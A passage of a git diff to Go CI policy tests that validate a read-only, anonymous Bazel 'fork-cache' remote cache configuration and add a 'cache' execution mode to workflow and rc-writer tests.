order: a later filter line in -// any of them overrides an earlier one. +// any of them overrides an earlier one. Plain command lines are not part of +// any lane (the lane's own lines apply after them). func bazelrcLaneOptions(opts []bazelrcOption, config string) []bazelrcOption { lane := map[string]bool{config: true} for grew := true; grew; { grew = false for _, o := range opts { - if !lane[o.config] && strings.HasPrefix(o.flag, "--config=") && lane[strings.TrimPrefix(o.flag, "--config=")] { + if o.config != "" && !lane[o.config] && strings.HasPrefix(o.flag, "--config=") && lane[strings.TrimPrefix(o.flag, "--config=")] { lane[o.config] = true grew = true } @@ -1048,6 +1103,274 @@ func TestBazelrcDockerLaneNeverCached(t *testing.T) { } } +// --- fork cache -------------------------------------------------------------- + +// keyNeutralFlag reports whether a flag can be set by a remote config without +// changing any action key: --jobs, the remote failure circuit breaker, the +// build event artifact upload strategy, and the --remote_* family +// (connection, lookup and download behaviour), minus the members that +// execute remotely, send headers, upload local results, or add exec +// properties (part of the action's platform, so of its key). +func keyNeutralFlag(flag string) bool { + name, _, _ := strings.Cut(flag, "=") + switch { + case name == "--jobs", name == "--experimental_circuit_breaker_strategy", + name == "--experimental_remote_failure_rate_threshold", + name == "--experimental_remote_failure_window_interval", + name == "--experimental_build_event_upload_strategy": + return true + case name == "--remote_executor", name == "--remote_default_exec_properties", + strings.HasSuffix(name, "_header"), name == "--remote_upload_local_results", + name == "--remote_downloader": + return false + } + for _, prefix := range []string{"--remote_", "--noremote_", "--incompatible_remote_"} { + if strings.HasPrefix(name, prefix) { + return true + } + } + return false +} + +// boolFlagFinal returns the effective value of a boolean flag (name without +// dashes) in opts, where the last setting wins, and whether any set it. +func boolFlagFinal(opts []bazelrcOption, name string) (value, set bool) { + for _, o := range opts { + if v, ok := boolFlagSetting(o.flag, name); ok { + value, set = v, true + } + } + return value, set +} + +// forkCacheMaxTimeout is the longest --remote_timeout (seconds) fork-cache +// may set: with --remote_retries a slow endpoint costs each lookup a few +// times this before the circuit breaker gives up on it. +const forkCacheMaxTimeout = 15 + +// boolFlagSetting reports whether flag sets the boolean flag name (without +// dashes), and to what. +func boolFlagSetting(flag, name string) (value, set bool) { + switch flag { + case "--" + name, "--" + name + "=true", "--" + name + "=1", "--" + name + "=yes": + return true, true + case "--no" + name, "--" + name + "=false", "--" + name + "=0", "--" + name + "=no": + return false, true + } + return false, false +} + +// forkCacheOverride reports why flag, set outside fork-cache and remote-exec, +// would undo a fork-cache guarantee ("" if it would not): on a plain line it +// applies to every run, and a test or later line overrides fork-cache's +// build line. +func forkCacheOverride(flag string) string { + for name, safe := range map[string]bool{ + "remote_upload_local_results": false, + "remote_local_fallback": true, + "incompatible_remote_local_fallback_for_remote_cache": true, + } { + if v, set := boolFlagSetting(flag, name); set && v != safe { + form := "--" + name + if !safe { + form = "--no" + name + } + return "it would undo fork-cache's " + form + } + } + if v, ok := strings.CutPrefix(flag, "--experimental_build_event_upload_strategy="); ok && v != "local" { + return "it would upload build event artifacts from fork runs" + } + return "" +} + +// checkBazelrcForkCache checks .bazelrc's fork-cache config: rbe-west's +// anonymous read-only cache, which bazel.yml's cache mode (fork PRs) adds on +// top of exactly the flags trusted runs use. Every flag in it must be key +// neutral (so fork actions hash like trusted ones and hit what trusted CI +// executed), and it must use the public endpoint and instance only, upload +// nothing (neither local results nor build event artifacts), carry no +// credentials, fall back to local execution when the farm closes the +// endpoint (without both fallback flags a failed GetCapabilities fails every +// action), and give up on a slow endpoint (short --remote_timeout, failure +// circuit breaker). No other line of .bazelrc may expand it or set the +// upload / no-fallback flags it relies on. +func checkBazelrcForkCache(bazelrc string) []error { + var errs []error + var opts []bazelrcOption + for _, o := range parseBazelrcOptions(bazelrc) { + switch { + case o.config == "fork-cache": + opts = append(opts, o) + case o.flag == "--config=fork-cache": + errs = append(errs, errors.New(o.source()+" expands --config=fork-cache; only setup-bazel's generated rc may")) + case o.config != "remote-exec": + if why := forkCacheOverride(o.flag); why != "" { + errs = append(errs, errors.New(o.source()+" sets "+o.flag+"; "+why)) + } + } + } + if len(opts) == 0 { + return append(errs, errors.New(".bazelrc has no fork-cache config")) + } + caches := 0 + for _, o := range opts { + name, value, _ := strings.Cut(o.flag, "=") + switch { + case strings.HasPrefix(name, "--tls_"), strings.HasPrefix(name, "--bes_"), strings.HasPrefix(name, "--credential"), + name == "--google_credentials", name == "--google_default_credentials": + errs = append(errs, errors.New("fork-cache sets "+o.flag+"; the fork cache is anonymous")) + case !keyNeutralFlag(o.flag): + errs = append(errs, errors.New("fork-cache sets "+o.flag+", which is not key neutral (only --jobs and the --remote_* family may differ from trusted runs)")) + case name == "--remote_cache": + caches++ + if value != forkCacheEndpoint { + errs = append(errs, errors.New("fork-cache --remote_cache="+value+"; want the public rbe-cache endpoint")) + } + case name == "--remote_instance_name" && value != forkCacheInstance: + errs = append(errs, errors.New("fork-cache --remote_instance_name="+value+"; want "+forkCacheInstance)) + } + } + if caches != 1 { + errs = append(errs, errors.New("fork-cache sets --remote_cache "+strconv.Itoa(caches)+" times; want exactly once")) + } + if !hasBazelrcOption(opts, "--remote_instance_name="+forkCacheInstance) { + errs = append(errs, errors.New("fork-cache lacks --remote_instance_name="+forkCacheInstance)) + } + for name, want := range map[string]bool{ + "remote_upload_local_results": false, + "remote_local_fallback": true, + "incompatible_remote_local_fallback_for_remote_cache": true, + } { + if got, set := boolFlagFinal(opts, name); !set || got != want { + form := "--" + name + if !want { + form = "--no" + name + } + errs = append(errs, errors.New("fork-cache must end with "+form)) + } + } + if got, set := boolFlagFinal(opts, "remote_accept_cached"); set && !got { + errs = append(errs, errors.New("fork-cache turns off --remote_accept_cached; it would never hit")) + } + for flag, want := range map[string]string{ + "--experimental_build_event_upload_strategy": "local", + "--experimental_circuit_breaker_strategy": "failure", + } { + if got := lastFlagValue(opts, flag); got != want { + errs = append(errs, errors.New("fork-cache must end with "+flag+"="+want)) + } + } + if secs, err := strconv.Atoi(lastFlagValue(opts, "--remote_timeout")); err != nil || secs < 1 || secs > forkCacheMaxTimeout { + errs = append(errs, errors.New("fork-cache must end with --remote_timeout of 1-"+strconv.Itoa(forkCacheMaxTimeout)+" seconds (whole seconds)")) + } + return errs +} + +// lastFlagValue returns the value of the last flag=value setting in opts, or +// "" if none sets it. +func lastFlagValue(opts []bazelrcOption, flag string) string { + value := "" + for _, o := range opts { + if v, ok := strings.CutPrefix(o.flag, flag+"="); ok { + value = v + } + } + return value +} + +func hasBazelrcOption(opts []bazelrcOption, flag string) bool { + for _, o := range opts { + if o.flag == flag { + return true + } + } + return false +} + +func TestBazelForkCacheConfig(t *testing.T) { + root := bazelPolicyRoot(t) + bazelrc := readPolicyFile(t, root, ".bazelrc") + for _, err := range checkBazelrcForkCache(bazelrc) { + t.Error(err) + } + // Trusted runs differ from fork runs only by key-neutral flags too: the + // committed remote-exec config (setup-bazel adds the endpoint, TLS files + // and instance, checked by TestSetupBazelRCWriter). + for _, o := range parseBazelrcOptions(bazelrc) { + if o.config == "remote-exec" && !keyNeutralFlag(o.flag) { + t.Errorf("remote-exec sets %s, which is not key neutral; trusted and fork runs would hash differently", o.flag) + } + } + + ep := forkCacheEndpoint + good := "build:fork-cache --remote_cache=" + ep + "\n" + + "build:fork-cache --remote_instance_name=oss\n" + + "build:fork-cache --remote_accept_cached\n" + + "build:fork-cache --noremote_upload_local_results\n" + + "build:fork-cache --remote_download_minimal\n" + + "build:fork-cache --remote_local_fallback\n" + + "build:fork-cache --incompatible_remote_local_fallback_for_remote_cache\n" + + "build:fork-cache --experimental_build_event_upload_strategy=local\n" + + "build:fork-cache --experimental_circuit_breaker_strategy=failure\n" + + "build:fork-cache --jobs=64 --remote_timeout=15\n" + + "build:remote-exec --remote_upload_local_results\n" + + "test --noremote_upload_local_results\n" + + "try-import %workspace%/.bazelrc.local\n" + if errs := checkBazelrcForkCache(good); len(errs) != 0 { + t.Errorf("good fixture: %v", errs) + } + drop := func(line string) string { return strings.Replace(good, line+"\n", "", 1) } + for name, rc := range map[string]string{ + "missing": "build:remote-exec --jobs=64\n", + "no upload switch": drop("build:fork-cache --noremote_upload_local_results"), + "uploads again": good + "build:fork-cache --remote_upload_local_results\n", + "no local fallback": drop("build:fork-cache --remote_local_fallback"), + "no cache fallback": drop("build:fork-cache --incompatible_remote_local_fallback_for_remote_cache"), + "fallback turned off": good + "build:fork-cache --noremote_local_fallback\n", + "no instance": drop("build:fork-cache --remote_instance_name=oss"), + "other instance": good + "build:fork-cache --remote_instance_name=beads\n", + "no endpoint": drop("build:fork-cache --remote_cache=" + ep), + "second endpoint": good + "build:fork-cache --remote_cache=" + ep + "\n", + "other endpoint": strings.Replace(good, ep, "grpc"+"s://other.example:8443", 1), + "executor": good + "build:fork-cache --remote_executor=" + ep + "\n", + "client cert": good + "build:fork-cache --tls_client_certificate=/x.crt\n", + "client key": good + "build:fork-cache --tls_client_key=/x.key\n", + "header": good + "build:fork-cache --remote_header=x-api-key=abc\n", + "bes": good + "build:fork-cache --bes_backend=" + ep + "\n", + "action env": good + "build:fork-cache --action_env=PATH\n", + "test env": good + "test:fork-cache --test_env=PATH\n", + "host action env": good + "build:fork-cache --host_action_env=PATH\n", + "strict action env": good + "build:fork-cache --incompatible_strict_action_env\n", + "starlark setting": good + "build:fork-cache --@rules_go//go/config:race\n", + "local setting": good + "build:fork-cache --//tools:x=1\n", + "platforms": good + "build:fork-cache --platforms=//:p\n", + "exec properties": good + "build:fork-cache --remote_default_exec_properties=OSFamily=linux\n", + "expands another config": good + "build:fork-cache --config=remote-exec\n", + "expanded by another config": good + "build:ci --config=fork-cache\n", + "accept cached off": good + "build:fork-cache --noremote_accept_cached\n", + "no bep strategy": drop("build:fork-cache --experimental_build_event_upload_strategy=local"), + "bep uploads again": good + "build:fork-cache --experimental_build_event_upload_strategy=remote\n", + "no breaker": drop("build:fork-cache --experimental_circuit_breaker_strategy=failure"), + "no timeout": strings.Replace(good, " --remote_timeout=15", "", 1), + "slow timeout": good + "build:fork-cache --remote_timeout=60\n", + "zero timeout": good + "build:fork-cache --remote_timeout=0\n", + "duration timeout": good + "build:fork-cache --remote_timeout=15s\n", + "plain build expands": good + "build --config=fork-cache\n", + "plain common expands": good + "common --config=fork-cache\n", + "plain upload": good + "build --remote_upload_local_results\n", + "plain test upload": good + "test --remote_upload_local_results=true\n", + "test config upload": good + "test:ci --remote_upload_local_results\n", + "other config no fallback": good + "build:ci --noremote_local_fallback\n", + "common no cache fallback": good + "common --noincompatible_remote_local_fallback_for_remote_cache\n", + "plain bep upload": good + "build --experimental_build_event_upload_strategy=remote\n", + } { + if errs := checkBazelrcForkCache(rc); len(errs) == 0 { + t.Errorf("%s: expected an error for .bazelrc fixture:\n%s", name, rc) + } + } +} + // --- integration lane ---------------------------------------------------------- // tagSet parses a comma-separated Go build tag list. diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 45a80a952..94216e726 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1840,7 +1840,7 @@ const bazelAggregateGateID = "BAZEL" // The gate script and the rbe job's execution modes. const bazelGateScript = ".github/scripts/bazel-gate.sh" -var bazelRBEModes = []string{"remote", "local", "skip"} +var bazelRBEModes = []string{"remote", "cache", "local", "skip"} // The four RBE secrets, the only ones a caller may hand bazel.yml. var bazelCallSecrets = map[string]string{ @@ -1895,8 +1895,9 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { } // Every lane needs the rbe job and takes its runner, skip rule and // setup-bazel env from that job's outputs alone. Remote runs use the - // Blacksmith pool (the farm admits nothing else); local runs (forks, - // rbe=off, secret-less Dependabot runs) the GitHub-hosted runner. + // Blacksmith pool; local and cache runs (forks, rbe=off/cache, + // secret-less Dependabot runs) the GitHub-hosted runner. Cache runs get + // BAZEL_FORK_CACHE and never a secret. const wantRunsOn = "${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}" // Local-capable lanes skip only in mode skip (same-repo, RBE_WEST_WORKERS // unset); remote-only lanes (27 race processes and more, an hour or more @@ -1911,6 +1912,7 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { "RBE_TLS_KEY": "${{ " + gate + "secrets.RBE_TLS_KEY || '' }}", "RBE_TLS_CA": "${{ " + gate + "secrets.RBE_TLS_CA || '' }}", "RBE_INSTANCE": "${{ " + gate + "'oss' || '' }}", + "BAZEL_FORK_CACHE": "${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }}", } for name, job := range workflow.Jobs { if name == bazelRBEJobName { @@ -2260,7 +2262,7 @@ func bazelLaneRunModes(t *testing.T, lane, ifExpr string, with map[string]string t.Helper() switch ifExpr { case "${{ needs.rbe.outputs.mode != 'skip' }}": - return map[string]bool{"remote": true, "local": true} + return map[string]bool{"remote": true, "cache": true, "local": true} case "${{ needs.rbe.outputs.enabled == 'true' }}": return map[string]bool{"remote": true} case bazelIntegIf: @@ -2463,7 +2465,7 @@ func TestBazelGateSimulation(t *testing.T) { // A missing or inconsistent decision (the rbe job failed, the call never // started, or the outputs disagree) allows no skip and fails the gate. for _, bad := range []struct{ mode, enabled string }{ - {"", ""}, {"remote", "false"}, {"local", "true"}, {"skip", "true"}, {"remote", ""}, {"bogus", "false"}, {"REMOTE", "true"}, + {"", ""}, {"remote", "false"}, {"local", "true"}, {"cache", "true"}, {"skip", "true"}, {"remote", ""}, {"bogus", "false"}, {"REMOTE", "true"}, {"CACHE", "false"}, } { if got := runScript(bad.mode, bad.enabled, "skips"); got != "" { t.Errorf("mode %q enabled %q: skips = %q, want none", bad.mode, bad.enabled, got) @@ -3917,11 +3919,11 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { }) } -// The execution mode (remote, local, skip) is decided once, by the rbe job, +// The execution mode (remote, cache, local, skip) is decided once, by the rbe job, // so a run cannot mix modes and no lane can drift from the others (review D1 // F1/F5/F6): Dependabot PRs are same-repo but get no secrets, so a condition // on vars and fork alone sent them to the remote-only path with nothing to -// run it. The job's one step reads nothing but four booleans, runs no +// run it. The job's one step reads nothing but booleans, runs no // repository code, and its outputs are the workflow_call outputs. func TestBazelRBEJobDecidesOnce(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) @@ -3942,11 +3944,12 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { } step := job.Steps[0] wantEnv := map[string]string{ - "RBE_VAR_ON": "${{ vars.RBE_WEST_WORKERS == 'true' }}", - "RBE_INPUT_OFF": "${{ inputs.rbe == 'off' }}", - "FORK": "${{ github.event.pull_request.head.repo.fork == true }}", - "FORK_FARM": bazelForkFarmValue, - "HAS_EXECUTOR": bazelRBESecretValue, + "RBE_VAR_ON": "${{ vars.RBE_WEST_WORKERS == 'true' }}", + "RBE_INPUT_OFF": "${{ inputs.rbe == 'off' }}", + "RBE_INPUT_CACHE": "${{ inputs.rbe == 'cache' }}", + "FORK": "${{ github.event.pull_request.head.repo.fork == true }}", + "FORK_FARM": bazelForkFarmValue, + "HAS_EXECUTOR": bazelRBESecretValue, } if step.ID != "decide" || step.Uses != "" || step.Shell != "" || len(step.With) != 0 || !reflect.DeepEqual(step.Env, wantEnv) { t.Errorf("%s step: id %q, uses %q, shell %q, with %v, env %v; want id decide, a run step with env %v", @@ -3990,8 +3993,25 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { t.Errorf("%s: %s re-derives the execution mode (%q); read needs.rbe.outputs instead", bazelWorkflowName, path, value) }) - // The decision, for the facts GitHub evaluates the four env expressions - // on (its == is case-insensitive; a missing secret reads as ''). + // The dispatch choices: on, cache (fork simulation) and off. + var dispatch struct { + On struct { + WorkflowDispatch struct { + Inputs map[string]struct { + Options []string `yaml:"options"` + } `yaml:"inputs"` + } `yaml:"workflow_dispatch"` + } `yaml:"on"` + } + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+bazelWorkflowName)), &dispatch); err != nil { + t.Fatal(err) + } + if got, want := dispatch.On.WorkflowDispatch.Inputs["rbe"].Options, []string{"on", "cache", "off"}; !reflect.DeepEqual(got, want) { + t.Errorf("workflow_dispatch rbe options = %v, want %v", got, want) + } + + // The decision, for the facts GitHub evaluates the env expressions on + // (its == is case-insensitive; a missing secret reads as ''). type facts struct { rbeVar, rbeInput, secret string fork, farm bool @@ -4004,11 +4024,19 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { {"same-repo PR with secrets", facts{"true", "", "grpcs://x", false, false}, "remote", "true"}, {"push to main", facts{"true", "", "grpcs://x", false, false}, "remote", "true"}, {"var in other case", facts{"True", "on", "grpcs://x", false, false}, "remote", "true"}, - {"Dependabot PR (no secrets)", facts{"true", "", "", false, false}, "local", "false"}, - {"fork PR", facts{"true", "", "", true, false}, "local", "false"}, - {"fork PR, var unset", facts{"", "", "", true, false}, "local", "false"}, + // Fork and secret-less runs: local execution with the read-only + // cache (rbe=cache simulates them); rbe=off drops the cache too. + {"Dependabot PR (no secrets)", facts{"true", "", "", false, false}, "cache", "false"}, + {"fork PR", facts{"true", "", "", true, false}, "cache", "false"}, + {"fork PR, var unset", facts{"", "", "", true, false}, "cache", "false"}, + {"fork PR, var false", facts{"false", "", "", true, false}, "cache", "false"}, + {"dispatch rbe=cache", facts{"true", "cache", "grpcs://x", false, false}, "cache", "false"}, + {"dispatch rbe=cache, var unset", facts{"", "cache", "", false, false}, "cache", "false"}, + {"call rbe=CACHE", facts{"true", "CACHE", "grpcs://x", false, false}, "cache", "false"}, + {"fork PR rbe=cache", facts{"true", "cache", "", true, false}, "cache", "false"}, {"dispatch rbe=off", facts{"true", "off", "grpcs://x", false, false}, "local", "false"}, {"call rbe=OFF", facts{"true", "OFF", "grpcs://x", false, false}, "local", "false"}, + {"fork PR rbe=off", facts{"true", "off", "", true, false}, "local", "false"}, {"same-repo, var unset", facts{"", "", "grpcs://x", false, false}, "skip", "false"}, {"Dependabot, var unset", facts{"", "", "", false, false}, "skip", "false"}, {"var false", facts{"false", "on", "grpcs://x", false, false}, "skip", "false"}, @@ -4020,16 +4048,17 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { {"authorized fork farm, rbe=off", facts{"true", "off", "grpcs://x", true, true}, "local", "false"}, // FORK_FARM without the secret (a fork's own pull_request run // cannot make it true: it needs event pull_request_target). - {"fork, not authorized, secret", facts{"true", "", "grpcs://x", true, false}, "local", "false"}, + {"fork, not authorized, secret", facts{"true", "", "grpcs://x", true, false}, "cache", "false"}, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { env := map[string]string{ - "RBE_VAR_ON": strconv.FormatBool(strings.EqualFold(c.in.rbeVar, "true")), - "RBE_INPUT_OFF": strconv.FormatBool(strings.EqualFold(c.in.rbeInput, "off")), - "FORK": strconv.FormatBool(c.in.fork), - "FORK_FARM": strconv.FormatBool(c.in.farm), - "HAS_EXECUTOR": strconv.FormatBool(c.in.secret != ""), + "RBE_VAR_ON": strconv.FormatBool(strings.EqualFold(c.in.rbeVar, "true")), + "RBE_INPUT_OFF": strconv.FormatBool(strings.EqualFold(c.in.rbeInput, "off")), + "RBE_INPUT_CACHE": strconv.FormatBool(strings.EqualFold(c.in.rbeInput, "cache")), + "FORK": strconv.FormatBool(c.in.fork), + "FORK_FARM": strconv.FormatBool(c.in.farm), + "HAS_EXECUTOR": strconv.FormatBool(c.in.secret != ""), } out, err := runBazelRBEDecision(t, step.Run, env) if err != nil { @@ -4043,10 +4072,15 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { } // A value that is not a boolean fails the job rather than picking a mode. if out, err := runBazelRBEDecision(t, step.Run, map[string]string{ - "RBE_VAR_ON": "true", "RBE_INPUT_OFF": "false", "FORK": "", "FORK_FARM": "false", "HAS_EXECUTOR": "true", + "RBE_VAR_ON": "true", "RBE_INPUT_OFF": "false", "RBE_INPUT_CACHE": "false", "FORK": "", "FORK_FARM": "false", "HAS_EXECUTOR": "true", }); err == nil { t.Errorf("decision with FORK='' succeeded with %v; want failure", out) } + if out, err := runBazelRBEDecision(t, step.Run, map[string]string{ + "RBE_VAR_ON": "true", "RBE_INPUT_OFF": "false", "FORK": "false", "FORK_FARM": "false", "HAS_EXECUTOR": "true", + }); err == nil { + t.Errorf("decision without RBE_INPUT_CACHE succeeded with %v; want failure", out) + } } // runBazelRBEDecision runs the rbe job's step script under bash -e (as @@ -4075,9 +4109,10 @@ func runBazelRBEDecision(t *testing.T, script string, env map[string]string) (ma return out, nil } -// write-bazelrc.sh: no secrets means a local-only rc (fork PRs), a partial set -// fails, and the full set enables remote-exec with the key material and rc -// outside the workspace and the runner cache. +// write-bazelrc.sh: no secrets means a local-only rc, plus --config=fork-cache +// with BAZEL_FORK_CACHE=true (fork PRs), a partial set (or the fork cache +// with the secrets) fails, and the full set enables remote-exec with the key +// material and rc outside the workspace and the runner cache. func TestSetupBazelRCWriter(t *testing.T) { bash := requireHostTool(t, "bash") script := filepath.Join(sourceRepoRoot(t), setupBazelActionDir, "write-bazelrc.sh") @@ -4126,7 +4161,44 @@ func TestSetupBazelRCWriter(t *testing.T) { if !strings.Contains(rc, "\ncommon --repo_contents_cache=\n") { t.Errorf("rc = %q; want common --repo_contents_cache= (disabled)", rc) } + if !strings.Contains(outputs, "cache=false") || strings.Contains(rc, "fork-cache") { + t.Errorf("outputs=%q rc=%q; want cache=false and no fork-cache line", outputs, rc) + } }) + t.Run("fork cache without secrets", func(t *testing.T) { + outputs, rc, logs, err := run(t, "BAZEL_FORK_CACHE=true") + if err != nil { + t.Fatalf("err=%v\n%s", err, logs) + } + if !strings.Contains(rc, "\nbuild --config=fork-cache\n") { + t.Errorf("rc = %q; want build --config=fork-cache", rc) + } + if strings.Contains(rc, "remote-exec") || strings.Contains(rc, "tls") || strings.Contains(rc, "--remote_") { + t.Errorf("rc = %q; the fork cache must add nothing but --config=fork-cache", rc) + } + if !strings.Contains(outputs, "remote=false") || !strings.Contains(outputs, "cache=true") { + t.Errorf("outputs = %q, want remote=false and cache=true", outputs) + } + if !strings.Contains(logs, "setup-bazel: read-only remote cache (rbe-cache); executing locally") { + t.Errorf("log lacks the read-only cache notice:\n%s", logs) + } + }) + t.Run("rejects fork cache with the secrets", func(t *testing.T) { + _, rc, logs, err := run(t, "BAZEL_FORK_CACHE=true", executor, "RBE_TLS_CERT="+pem("CERTIFICATE"), "RBE_TLS_KEY="+pem("PRIVATE KEY")) + if err == nil || !strings.Contains(logs, "mutually exclusive") { + t.Errorf("err=%v, want failure naming the conflict:\n%s", err, logs) + } + if strings.Contains(rc, "remote_executor") || strings.Contains(rc, "fork-cache") { + t.Errorf("rc = %q after the conflict; want neither remote-exec nor fork-cache", rc) + } + }) + for _, bad := range []string{"yes", "false", "1", "TRUE"} { + t.Run("rejects BAZEL_FORK_CACHE="+bad, func(t *testing.T) { + if _, _, logs, err := run(t, "BAZEL_FORK_CACHE="+bad); err == nil { + t.Errorf("want failure, got success:\n%s", logs) + } + }) + } for name, env := range map[string][]string{ "executor only": {executor}, "cert and key": {"RBE_TLS_CERT=" + pem("CERTIFICATE"), "RBE_TLS_KEY=" + pem("PRIVATE KEY")}, @@ -4155,8 +4227,8 @@ func TestSetupBazelRCWriter(t *testing.T) { if strings.Contains(rc, "--disk_cache") || strings.Contains(rc, "--remote_instance_name") { t.Errorf("rc sets --disk_cache or an instance nobody asked for:\n%s", rc) } - if !strings.Contains(outputs, "remote=true") { - t.Errorf("outputs = %q, want remote=true", outputs) + if !strings.Contains(outputs, "remote=true") || !strings.Contains(outputs, "cache=false") || strings.Contains(rc, "fork-cache") { + t.Errorf("outputs = %q, want remote=true, cache=false and no fork-cache in the rc", outputs) } for _, want := range []string{"::add-mask::farm.invalid\n", "::add-mask::MIIBfakeCERTIFICATE\n", "::add-mask::MIIBfakePRIVATEKEY\n", "::add-mask::line2\n", "::warning title=RBE_INSTANCE not set::"} { if !strings.Contains(logs, want) { diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index cc8dade13..e1a89d31d 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -118,6 +118,8 @@ func evalRBEExpr(t *testing.T, expr string, f rbeFacts, with map[string]string) return strconv.FormatBool(strings.EqualFold(f.rbeVar, "true")) case "${{ inputs.rbe == 'off' }}": return strconv.FormatBool(strings.EqualFold(input("rbe", "on"), "off")) + case "${{ inputs.rbe == 'cache' }}": + return strconv.FormatBool(strings.EqualFold(input("rbe", "on"), "cache")) case "${{ github.event.pull_request.head.repo.fork == true }}": return strconv.FormatBool(f.fork) case bazelForkFarmValue: @@ -400,28 +402,32 @@ func TestPRRiskEmbeddedDecisionMatchesBazelMode(t *testing.T) { } } - // Named cases, for the record (with the committed flag on). + // Named cases, for the record (with the committed flag on). Forks and + // Dependabot run in mode cache, which, like local, skips the remote-only + // embedded lane, so they keep the legacy tier. for _, c := range []struct { name string f rbeFacts + mode string covered string prPasses bool }{ - {"same-repo PR, farm on", rbeFacts{"pull_request", "true", "x", false, "true", false}, "true", true}, - {"same-repo PR, kill switch (var unset)", rbeFacts{"pull_request", "", "x", false, "true", false}, "true", false}, - {"same-repo PR, executor secret missing", rbeFacts{"pull_request", "true", "", false, "true", false}, "true", false}, - {"same-repo PR, flag reverted, var unset", rbeFacts{"pull_request", "", "x", false, "false", false}, "false", true}, - {"same-repo PR, flag reverted, secret missing", rbeFacts{"pull_request", "true", "", false, "false", false}, "false", true}, - {"fork PR", rbeFacts{"pull_request", "true", "", true, "true", false}, "false", true}, - {"fork PR somehow with a secret", rbeFacts{"pull_request", "true", "x", true, "true", false}, "false", true}, - {"Dependabot PR (no Actions secrets)", rbeFacts{"pull_request", "true", "", false, "true", true}, "false", true}, - {"Dependabot PR, var unset", rbeFacts{"pull_request", "", "", false, "true", true}, "false", true}, - {"merge_group", rbeFacts{"merge_group", "true", "x", false, "true", false}, "false", true}, - {"merge_group, var unset", rbeFacts{"merge_group", "", "x", false, "true", false}, "false", true}, + {"same-repo PR, farm on", rbeFacts{"pull_request", "true", "x", false, "true", false}, "remote", "true", true}, + {"same-repo PR, kill switch (var unset)", rbeFacts{"pull_request", "", "x", false, "true", false}, "skip", "true", false}, + {"same-repo PR, executor secret missing", rbeFacts{"pull_request", "true", "", false, "true", false}, "cache", "true", false}, + {"same-repo PR, flag reverted, var unset", rbeFacts{"pull_request", "", "x", false, "false", false}, "skip", "false", true}, + {"same-repo PR, flag reverted, secret missing", rbeFacts{"pull_request", "true", "", false, "false", false}, "cache", "false", true}, + {"fork PR", rbeFacts{"pull_request", "true", "", true, "true", false}, "cache", "false", true}, + {"fork PR, var unset", rbeFacts{"pull_request", "", "", true, "true", false}, "cache", "false", true}, + {"fork PR somehow with a secret", rbeFacts{"pull_request", "true", "x", true, "true", false}, "cache", "false", true}, + {"Dependabot PR (no Actions secrets)", rbeFacts{"pull_request", "true", "", false, "true", true}, "cache", "false", true}, + {"Dependabot PR, var unset", rbeFacts{"pull_request", "", "", false, "true", true}, "skip", "false", true}, + {"merge_group", rbeFacts{"merge_group", "true", "x", false, "true", false}, "remote", "false", true}, + {"merge_group, var unset", rbeFacts{"merge_group", "", "x", false, "true", false}, "skip", "false", true}, } { d := decide(t, c.f) - if d.covered != c.covered { - t.Errorf("%s: covered = %q, want %s", c.name, d.covered, c.covered) + if d.covered != c.covered || d.mode != c.mode { + t.Errorf("%s: covered = %q, mode = %q; want %s, %s", c.name, d.covered, d.mode, c.covered, c.mode) } if pass, out := runPRGateStep(t, gateStep, prGateFor(t, lanes, c.f.event, d.mode, d.prCovered)); pass != c.prPasses { t.Errorf("%s: pr.yml gate pass = %v, want %v\n%s", c.name, pass, c.prPasses, out) @@ -440,7 +446,7 @@ func TestPRRiskEmbeddedDecisionMatchesBazelMode(t *testing.T) { } // Covered, and an embedded result of success the mode cannot produce // (the lane runs only in mode remote): the mode alone still makes it red. - for _, mode := range []string{"skip", "local"} { + for _, mode := range []string{"skip", "local", "cache"} { sc := prGateFor(t, lanes, "pull_request", mode, "true") sc.outputs[bazelEmbedJobName] = "success" if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::BAZEL_EMBEDDED_RETIRED") { @@ -940,8 +946,8 @@ func TestEmbeddedShardScriptsListOnlyRealTests(t *testing.T) { // this test. TestBazelEmbeddedJobMirrorsEmbeddedTier pins the command line // and the --config=embedded lines; this covers everything else that applies // to the lane: every other .bazelrc line of a config the lane uses (the -// unconfigured ones, remote-exec, which setup-bazel's rc enables, and any -// config those pull in), rc files that would be try-imported, the +// unconfigured ones, remote-exec and fork-cache, which setup-bazel's rc +// enables, and any config those pull in), rc files that would be try-imported, the // tools/bazel scripts every test runs under or through, the whole // setup-bazel action, and the embedded-tagged targets' args and env. At run // time, check_shard_coverage.py also fails a shard of only skips. @@ -971,10 +977,16 @@ func TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { if !reflect.DeepEqual(imports, wantImports) { t.Errorf(".bazelrc imports %v, want exactly %v (an import can carry any flag into the lane)", imports, wantImports) } - // The configs the lane uses: --config=embedded (pinned), remote-exec - // (setup-bazel's generated rc), the unconfigured lines, and anything they + // The configs the lane uses: --config=embedded (pinned), the configs + // setup-bazel's generated rc enables for every command (remote-exec, + // and fork-cache in mode cache, where the remote-only lane is skipped + // but the rc still applies), the unconfigured lines, and anything they // reference (which the check below then forbids anyway). - inUse := map[string]bool{"": true, "embedded": true, "remote-exec": true} + rcEnabled := map[string]bool{"remote-exec": true, "fork-cache": true} + inUse := map[string]bool{"": true, "embedded": true} + for c := range rcEnabled { + inUse[c] = true + } for changed := true; changed; { changed = false for _, l := range lines { @@ -1054,7 +1066,7 @@ func 